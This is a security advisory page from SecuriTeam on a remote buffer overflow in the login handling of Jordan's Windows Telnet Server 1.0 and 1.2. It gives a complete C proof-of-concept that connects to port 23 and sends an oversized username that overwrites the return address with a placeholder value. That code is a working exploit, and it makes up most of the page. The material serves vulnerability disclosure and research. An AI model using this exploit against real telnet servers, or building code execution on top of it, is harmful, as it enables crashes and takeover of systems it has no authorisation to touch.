SecuriTeam - Jordan's Telnet Server Buffer Overflow

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

Windows Telnet Server (Wtsd) "is a small commercial telnet server written by Jordan Stojanovski". A buffer overflow vulnerability in the product allows remote attackers to cause the product to execute arbitrary code.

Credit:
The information has been provided by Luigi Auriemma.

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Vulnerable systems:
* Jordan's Telnet Server version 1.0
* Jordan's Telnet Server version 1.2

The bug is a remote buffer-overflow in the client's login procedure. Practically a username of 518 bytes fully overwrites the return address of the vulnerable function. The problem happens in the unchecked copy of the buffer containing the string received from the socket to the new smaller buffer:

:00406281 F3A5                    rep movsd

(instruction's offset of the demo version)

Proof of concept:
/*

by Luigi Auriemma

Use -DWIN to compile the source on Windows

UNIX & WIN VERSION
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif

#define VER "0.1"
#define PORT 23
#define BUFFSZ 2048
#define BOFSZ 518 /* 516 + 0d + 0a */
#define OFFSET 512
#define RETADD 0xdeadc0de

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    u_char *buff;
    struct sockaddr_in peer;
    int sd,
            err;
    u_short port = PORT;

    setbuf(stdout, NULL);

    fputs("\n"
        "Jordan's Windows Telnet Server 1.2 remote buffer-overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\nUsage: %s <server> [port(%d)]\n"
            "\n"
            "The return address will be overwritten with the value 0x%08x\n"
            "\n", argv[0], PORT, RETADD);
        exit(1);
    }

#ifdef WIN
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    printf("\n"
        "Connecting to %s:%hu...",
        inet_ntoa(peer.sin_addr), port);
    err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
    if(err < 0) std_err();
    fputs("ok and now sending the big string\n\n", stdout);

    err = recv(sd, buff, BUFFSZ, 0);
    if(err < 0) std_err();
    fwrite(buff, err, 1, stdout);

        /* BOOM BOOM CICABOOM */
    memset(buff, 'A', BOFSZ - 2); // fill buffer
    *(long *)(buff + OFFSET) = RETADD; // write RETADD
    memcpy(buff + BOFSZ - 2, "\x0d\x0a", 2); // CRLF

    err = send(sd, buff, BOFSZ, 0);
    if(err < 0) std_err();

    err = recv(sd, buff, BUFFSZ, 0);
    if(err < 0) std_err();
    fwrite(buff, err, 1, stdout);
    fputc('\n', stdout);

    close(sd);

    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }

    return(host_ip);
}

#ifndef WIN
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

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